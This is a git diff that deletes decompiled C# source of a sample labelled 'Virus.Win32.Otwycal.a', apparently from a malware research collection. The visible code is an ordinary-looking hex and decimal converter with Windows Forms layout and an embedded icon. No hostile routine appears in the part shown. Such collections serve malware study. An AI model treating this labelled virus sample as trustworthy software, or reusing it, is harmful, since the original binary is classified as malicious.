this.SuspendLayout(); - this.pictureBox1.Image = (Image) componentResourceManager.GetObject("pictureBox1.Image"); - this.pictureBox1.Location = new Point(12, 12); - this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.Size = new Size(48, 48); - this.pictureBox1.SizeMode = PictureBoxSizeMode.AutoSize; - this.pictureBox1.TabIndex = 0; - this.pictureBox1.TabStop = false; - this.button1.Location = new Point(353, 35); - this.button1.Name = "button1"; - this.button1.Size = new Size(75, 25); - this.button1.TabIndex = 1; - this.button1.Text = "OK"; - this.button1.UseVisualStyleBackColor = true; - this.button1.Click += new EventHandler(this.button1_Click); - this.label1.AutoSize = true; - this.label1.Location = new Point(92, 12); - this.label1.Name = "label1"; - this.label1.Size = new Size(111, 13); - this.label1.TabIndex = 2; - this.label1.Text = "Hex Converter ver 1.5"; - this.richTextBox1.BackColor = SystemColors.Control; - this.richTextBox1.Dock = DockStyle.Bottom; - this.richTextBox1.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.richTextBox1.Location = new Point(0, 66); - this.richTextBox1.Name = "richTextBox1"; - this.richTextBox1.ReadOnly = true; - this.richTextBox1.Size = new Size(440, 398); - this.richTextBox1.TabIndex = 4; - this.richTextBox1.Text = componentResourceManager.GetString("richTextBox1.Text"); - this.richTextBox1.WordWrap = false; - this.timer1.Interval = 500; - this.timer1.Tick += new EventHandler(this.timer1_Tick); - this.label2.AutoSize = true; - this.label2.Location = new Point(222, 41); - this.label2.Name = "label2"; - this.label2.Size = new Size(73, 13); - this.label2.TabIndex = 5; - this.label2.Text = "Made by axdx"; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(440, 464); - this.Controls.Add((Control) this.label2); - this.Controls.Add((Control) this.richTextBox1); - this.Controls.Add((Control) this.label1); - this.Controls.Add((Control) this.button1); - this.Controls.Add((Control) this.pictureBox1); - this.FormBorderStyle = FormBorderStyle.FixedDialog; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (DialogBox); - this.StartPosition = FormStartPosition.CenterParent; - this.Text = "About"; - this.Load += new EventHandler(this.DialogBox_Load); - ((ISupportInitialize) this.pictureBox1).EndInit(); - this.ResumeLayout(false); - this.PerformLayout(); - } - } -} diff --git a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/DialogBox.resx b/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/DialogBox.resx deleted file mode 100644 index 63c01c99..00000000 --- a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/DialogBox.resx +++ /dev/null @@ -1,149 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - <說明> -================================== -<Type> - Byte, 2 Bytes, 4 Bytes, 和 8 Bytes皆為整數型態 -  無標明(signed)表示無正負號,一率為正整數 -  (signed)表示為有正負號,有輸入"-"時為負整數,沒輸入"-"就是正整數 -  其範圍如下表: -   Type             10進位數範圍 -  -------------------------------- -   Byte               0 ~ 255 -   Byte (signed)          -128 ~ 127 -   2 Byte              0 ~ 65535 -   2 Byte (signed)        -32768 ~ 32767 -   4 Byte              0 ~ 4294967295 -   4 Byte (signed)      -2147483648 ~ 2147483647 -   8 Byte              0 ~ 18446744073709551615 -   8 Byte (signed) -9223372036854775808 ~ 9223372036854775807 - - Float: 單精度浮點數, 4 Bytes, 有正負號 - Double: 雙精度浮點數, 8 Bytes, 有正負號 - -================================== -<Bytes> - 逆向排列的16進位數,兩個一組為1 byte - - - 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 - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Form1.cs b/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Form1.cs deleted file mode 100644 index 69ff20a6..00000000 --- a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Form1.cs +++ /dev/null @@ -1,544 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: HexConverter.Form1 -// Assembly: HexConverter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 69C743DF-5670-4BA1-B9C9-0F7A066F699A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2.exe - -using System; -using System.ComponentModel; -using System.Drawing; -using System.Text; -using System.Text.RegularExpressions; -using System.Windows.Forms; - -namespace HexConverter -{ - public class Form1 : Form - { - private IContainer components; - private TextBox tBoxBytes; - private TextBox tBoxHex; - private TextBox tBoxDecimal; - private TextBox tBoxBin; - private Label label1; - private Label label2; - private Label label3; - private Label label4; - private ComboBox cbBoxType; - private Button butExit; - private Label label5; - private Button butAbout; - private bool IsUserInput; - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1)); - this.tBoxBytes = new TextBox(); - this.tBoxHex = new TextBox(); - this.tBoxDecimal = new TextBox(); - this.tBoxBin = new TextBox(); - this.label1 = new Label(); - this.label2 = new Label(); - this.label3 = new Label(); - this.label4 = new Label(); - this.cbBoxType = new ComboBox(); - this.butExit = new Button(); - this.label5 = new Label(); - this.butAbout = new Button(); - this.SuspendLayout(); - this.tBoxBytes.Location = new Point(155, 60); - this.tBoxBytes.Name = "tBoxBytes"; - this.tBoxBytes.ReadOnly = true; - this.tBoxBytes.Size = new Size(150, 20); - this.tBoxBytes.TabIndex = 4; - this.tBoxHex.Location = new Point(10, 60); - this.tBoxHex.MaxLength = 16; - this.tBoxHex.Name = "tBoxHex"; - this.tBoxHex.Size = new Size(135, 20); - this.tBoxHex.TabIndex = 3; - this.tBoxHex.TextChanged += new EventHandler(this.tBoxHex_TextChanged); - this.tBoxDecimal.Location = new Point(10, 20); - this.tBoxDecimal.MaxLength = 20; - this.tBoxDecimal.Name = "tBoxDecimal"; - this.tBoxDecimal.Size = new Size(135, 20); - this.tBoxDecimal.TabIndex = 0; - this.tBoxDecimal.TextChanged += new EventHandler(this.tBoxDecimal_TextChanged); - this.tBoxBin.Font = new Font("Microsoft Sans Serif", 7f, FontStyle.Regular, GraphicsUnit.Point, (byte) 136); - this.tBoxBin.Location = new Point(10, 100); - this.tBoxBin.Name = "tBoxBin"; - this.tBoxBin.ReadOnly = true; - this.tBoxBin.Size = new Size(330, 18); - this.tBoxBin.TabIndex = 6; - this.label1.AutoSize = true; - this.label1.Location = new Point(155, 45); - this.label1.Name = "label1"; - this.label1.Size = new Size(72, 13); - this.label1.TabIndex = 4; - this.label1.Text = "位元組 Bytes"; - this.label2.AutoSize = true; - this.label2.Location = new Point(10, 45); - this.label2.Name = "label2"; - this.label2.Size = new Size(65, 13); - this.label2.TabIndex = 5; - this.label2.Text = "16進位 Hex"; - this.label3.AutoSize = true; - this.label3.Location = new Point(10, 5); - this.label3.Name = "label3"; - this.label3.Size = new Size(84, 13); - this.label3.TabIndex = 6; - this.label3.Text = "10進位 Decimal"; - this.label4.AutoSize = true; - this.label4.Location = new Point(10, 85); - this.label4.Name = "label4"; - this.label4.Size = new Size(69, 13); - this.label4.TabIndex = 7; - this.label4.Text = "2進位 Binary"; - this.cbBoxType.DropDownStyle = ComboBoxStyle.DropDownList; - this.cbBoxType.FormattingEnabled = true; - this.cbBoxType.Items.AddRange(new object[10] - { - (object) "Byte", - (object) "Byte (signed)", - (object) "2 Bytes", - (object) "2 Bytes (signed)", - (object) "4 Bytes", - (object) "4 Bytes (signed)", - (object) "8 Bytes", - (object) "8 Bytes (signed)", - (object) "Float", - (object) "Double" - }); - this.cbBoxType.Location = new Point(155, 20); - this.cbBoxType.Name = "cbBoxType"; - this.cbBoxType.Size = new Size(120, 21); - this.cbBoxType.TabIndex = 1; - this.cbBoxType.SelectedIndexChanged += new EventHandler(this.comboBox1_SelectedIndexChanged); - this.butExit.Location = new Point(280, 20); - this.butExit.Name = "butExit"; - this.butExit.Size = new Size(60, 20); - this.butExit.TabIndex = 5; - this.butExit.Text = "Exit"; - this.butExit.UseVisualStyleBackColor = true; - this.butExit.Click += new EventHandler(this.button1_Click); - this.label5.AutoSize = true; - this.label5.Location = new Point(155, 5); - this.label5.Name = "label5"; - this.label5.Size = new Size(58, 13); - this.label5.TabIndex = 10; - this.label5.Text = "類型 Type"; - this.butAbout.Location = new Point(310, 60); - this.butAbout.Name = "butAbout"; - this.butAbout.Size = new Size(30, 20); - this.butAbout.TabIndex = 2; - this.butAbout.Text = "?"; - this.butAbout.UseVisualStyleBackColor = true; - this.butAbout.Click += new EventHandler(this.button2_Click); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(349, 128); - this.Controls.Add((Control) this.butAbout); - this.Controls.Add((Control) this.label5); - this.Controls.Add((Control) this.butExit); - this.Controls.Add((Control) this.cbBoxType); - this.Controls.Add((Control) this.label4); - this.Controls.Add((Control) this.label3); - this.Controls.Add((Control) this.label2); - this.Controls.Add((Control) this.label1); - this.Controls.Add((Control) this.tBoxBin); - this.Controls.Add((Control) this.tBoxDecimal); - this.Controls.Add((Control) this.tBoxHex); - this.Controls.Add((Control) this.tBoxBytes); - this.FormBorderStyle = FormBorderStyle.FixedSingle; - this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); - this.MaximizeBox = false; - this.Name = nameof (Form1); - this.StartPosition = FormStartPosition.CenterScreen; - this.Text = "Hex Converter"; - this.Load += new EventHandler(this.Form1_Load); - this.ResumeLayout(false); - this.PerformLayout(); - } - - public Form1() => this.InitializeComponent(); - - private void button1_Click(object sender, EventArgs e) => Application.Exit(); - - private void Form1_Load(object sender, EventArgs e) - { - this.cbBoxType.SelectedIndex = 4; - this.IsUserInput = true; - } - - private void comboBox1_SelectedIndexChanged(object sender, EventArgs e) - { - this.tBoxBytes.Text = ""; - this.tBoxHex.Text = ""; - this.tBoxDecimal.Text = ""; - this.tBoxBin.Text = ""; - } - - private void tBoxDecimal_TextChanged(object sender, EventArgs e) - { - if (!this.IsUserInput) - return; - this.IsUserInput = false; - int num1 = this.tBoxDecimal.SelectionStart; - string text = this.tBoxDecimal.Text; - byte[] b = (byte[]) null; - int num2 = 1; - if (text.Length != 0 && text[0] == '-') - num2 = -1; - string s; - if (this.cbBoxType.SelectedIndex == 0) - { - s = Regex.Replace(text, "[^0-9]", ""); - if (s.Length == 0) - { - b = (byte[]) null; - } - else - { - if (s.Length > 3) - s = s.Substring(0, 3); - if (s.Length == 3 && s.CompareTo("255") > 0) - s = "255"; - b = new byte[1]{ (byte) Convert.ToUInt16(s) }; - } - } - else if (this.cbBoxType.SelectedIndex == 1) - { - s = Regex.Replace(text, "[^0-9]", ""); - if (num2 < 0) - s = '-'.ToString() + s; - if (s.Length == 0 || s.Equals("-")) - b = (byte[]) null; - else if (num2 > 0) - { - if (s.Length > 3) - s = s.Substring(0, 3); - if (s.Length == 3 && s.CompareTo("127") > 0) - s = "127"; - b = new byte[1]{ (byte) Convert.ToInt16(s) }; - } - else - { - if (s.Length > 4) - s = s.Substring(0, 4); - if (s.Length == 4 && s.CompareTo("-128") > 0) - s = "-128"; - b = new byte[1]{ (byte) Convert.ToInt16(s) }; - } - } - else if (this.cbBoxType.SelectedIndex == 2) - { - s = Regex.Replace(text, "[^0-9]", ""); - if (s.Length == 0) - { - b = (byte[]) null; - } - else - { - if (s.Length > 5) - s = s.Substring(0, 5); - if (s.Length == 5 && s.CompareTo("65535") > 0) - s = "65535"; - b = BitConverter.GetBytes(Convert.ToUInt16(s)); - } - } - else if (this.cbBoxType.SelectedIndex == 3) - { - s = Regex.Replace(text, "[^0-9]", ""); - if (num2 < 0) - s = '-'.ToString() + s; - if (s.Length == 0 || s.Equals("-")) - b = (byte[]) null; - else if (num2 > 0) - { - if (s.Length > 5) - s = s.Substring(0, 5); - if (s.Length == 5 && s.CompareTo("32767") > 0) - s = "32767"; - b = BitConverter.GetBytes(Convert.ToInt16(s)); - } - else - { - if (s.Length > 6) - s = s.Substring(0, 6); - if (s.Length == 6 && s.CompareTo("-32768") > 0) - s = "-32768"; - b = BitConverter.GetBytes(Convert.ToInt16(s)); - } - } - else if (this.cbBoxType.SelectedIndex == 4) - { - s = Regex.Replace(text, "[^0-9]", ""); - if (s.Length == 0) - { - b = (byte[]) null; - } - else - { - if (s.Length > 10) - s = s.Substring(0, 10); - if (s.Length == 10 && s.CompareTo("4294967295") > 0) - s = "4294967295"; - b = BitConverter.GetBytes(Convert.ToUInt32(s)); - } - } - else if (this.cbBoxType.SelectedIndex == 5) - { - s = Regex.Replace(text, "[^0-9]", ""); - if (num2 < 0) - s = '-'.ToString() + s; - if (s.Length == 0 || s.Equals("-")) - b = (byte[]) null; - else if (num2 > 0) - { - if (s.Length > 10) - s = s.Substring(0, 10); - if (s.Length == 10 && s.CompareTo("2147483647") > 0) - s = "2147483647"; - b = BitConverter.GetBytes(Convert.ToInt32(s)); - } - else - { - if (s.Length > 11) - s = s.Substring(0, 11); - if (s.Length == 11 && s.CompareTo("-2147483648") > 0) - s = "-2147483648"; - b = BitConverter.GetBytes(Convert.ToInt32(s)); - } - } - else if (this.cbBoxType.SelectedIndex == 6) - { - s = Regex.Replace(text, "[^0-9]", ""); - if (s.Length == 0) - { - b = (byte[]) null; - } - else - { - if (s.Length > 19 && s.CompareTo("18446744073709551615") > 0) - s = "18446744073709551615"; - b = BitConverter.GetBytes(Convert.ToUInt64(s)); - } - } - else if (this.cbBoxType.SelectedIndex == 7) - { - s = Regex.Replace(text, "[^0-9]", ""); - if (num2 < 0) - s = '-'.ToString() + s; - if (s.Length == 0 || s.Equals("-")) - b = (byte[]) null; - else if (num2 > 0) - { - if (s.Length > 19 && s.CompareTo("9223372036854775807") > 0) - s = "9223372036854775807"; - b = BitConverter.GetBytes(Convert.ToInt64(s)); - } - else - { - if (s.Length > 19 && s.CompareTo("-9223372036854775808") > 0) - s = "-9223372036854775808"; - b = BitConverter.GetBytes(Convert.ToInt64(s)); - } - } - else - { - s = Regex.Replace(text, "[^.0-9]", ""); - int index1 = 0; - while (index1 < s.Length && s[index1] != '.') - ++index1; - for (int index2 = index1 + 1; index2 < s.Length; ++index2) - { - if (s[index2] == '.') - s = s.Remove(index2--, 1); - } - if (num2 < 0) - s = '-'.ToString() + s; - if (s.Length > 20) - s = s.Substring(0, 20); - if (s.Length == 0 || s.Equals(".") || s.Equals("-") || s.Equals("-.")) - b = (byte[]) null; - else if (this.cbBoxType.SelectedIndex == 8) - b = BitConverter.GetBytes(float.Parse(s)); - else if (this.cbBoxType.SelectedIndex == 9) - b = BitConverter.GetBytes(double.Parse(s)); - } - this.tBoxHex.Text = this.ToHex(b); - this.tBoxBin.Text = this.ToBin(b); - this.tBoxBytes.Text = this.ToRevHex(b); - this.tBoxDecimal.Text = s; - if (num1 < 0) - num1 = 0; - this.tBoxDecimal.SelectionStart = num1; - this.IsUserInput = true; - } - - private void tBoxHex_TextChanged(object sender, EventArgs e) - { - if (!this.IsUserInput) - return; - this.IsUserInput = false; - int num = this.tBoxHex.SelectionStart; - byte[] b = (byte[]) null; - string s = Regex.Replace(this.tBoxHex.Text.ToUpper(), "[^0-9A-F]", ""); - if (s.Length == 0) - { - b = (byte[]) null; - this.tBoxDecimal.Text = ""; - } - else if (this.cbBoxType.SelectedIndex == 0) - { - if (s.Length > 2) - s = s.Substring(0, 2); - b = this.HexToByteArray(s, 1); - this.tBoxDecimal.Text = b[0].ToString(); - } - else if (this.cbBoxType.SelectedIndex == 1) - { - if (s.Length > 2) - s = s.Substring(0, 2); - b = this.HexToByteArray(s, 1); - this.tBoxDecimal.Text = ((sbyte) b[0]).ToString(); - } - else if (this.cbBoxType.SelectedIndex == 2) - { - if (s.Length > 4) - s = s.Substring(0, 4); - b = this.HexToByteArray(s, 2); - this.tBoxDecimal.Text = BitConverter.ToUInt16(b, 0).ToString(); - } - else if (this.cbBoxType.SelectedIndex == 3) - { - if (s.Length > 4) - s = s.Substring(0, 4); - b = this.HexToByteArray(s, 2); - this.tBoxDecimal.Text = BitConverter.ToInt16(b, 0).ToString(); - } - else if (this.cbBoxType.SelectedIndex == 4) - { - if (s.Length > 8) - s = s.Substring(0, 8); - b = this.HexToByteArray(s, 4); - this.tBoxDecimal.Text = BitConverter.ToUInt32(b, 0).ToString(); - } - else if (this.cbBoxType.SelectedIndex == 5) - { - if (s.Length > 8) - s = s.Substring(0, 8); - b = this.HexToByteArray(s, 4); - this.tBoxDecimal.Text = BitConverter.ToInt32(b, 0).ToString(); - } - else if (this.cbBoxType.SelectedIndex == 6) - { - if (s.Length > 16) - s = s.Substring(0, 16); - b = this.HexToByteArray(s, 8); - this.tBoxDecimal.Text = BitConverter.ToUInt64(b, 0).ToString(); - } - else if (this.cbBoxType.SelectedIndex == 7) - { - if (s.Length > 16) - s = s.Substring(0, 16); - b = this.HexToByteArray(s, 8); - this.tBoxDecimal.Text = BitConverter.ToInt64(b, 0).ToString(); - } - else if (this.cbBoxType.SelectedIndex == 8) - { - if (s.Length > 8) - s = s.Substring(0, 8); - b = this.HexToByteArray(s, 4); - this.tBoxDecimal.Text = BitConverter.ToSingle(b, 0).ToString(); - } - else if (this.cbBoxType.SelectedIndex == 9) - { - if (s.Length > 16) - s = s.Substring(0, 16); - b = this.HexToByteArray(s, 8); - this.tBoxDecimal.Text = BitConverter.ToDouble(b, 0).ToString(); - } - this.tBoxBin.Text = this.ToBin(b); - this.tBoxBytes.Text = this.ToRevHex(b); - this.tBoxHex.Text = s; - if (num < 0) - num = 0; - this.tBoxHex.SelectionStart = num; - this.IsUserInput = true; - } - - private byte[] HexToByteArray(string s, int size) - { - byte[] byteArray = new byte[size]; - int num1 = 0; - for (int index = s.Length - 1; index >= 0; --index) - { - byte num2 = (byte) s[index]; - byte num3 = num2 >= (byte) 58 ? (byte) ((uint) num2 - 55U) : (byte) ((uint) num2 - 48U); - if (num1 % 2 == 1) - num3 *= (byte) 16; - byteArray[num1 / 2] += num3; - ++num1; - } - return byteArray; - } - - private string ToRevHex(byte[] b) - { - if (b == null) - return ""; - string str = "0123456789ABCDEF"; - StringBuilder stringBuilder = new StringBuilder(); - for (int index = 0; index < b.Length; ++index) - { - stringBuilder.Append(str[(int) b[index] >> 4]); - stringBuilder.Append(str[(int) b[index] & 15]); - stringBuilder.Append(' '); - } - return stringBuilder.ToString(); - } - - private string ToHex(byte[] b) - { - if (b == null) - return ""; - string str = "0123456789ABCDEF"; - StringBuilder stringBuilder = new StringBuilder(); - for (int index = b.Length - 1; index >= 0; --index) - { - stringBuilder.Append(str[(int) b[index] >> 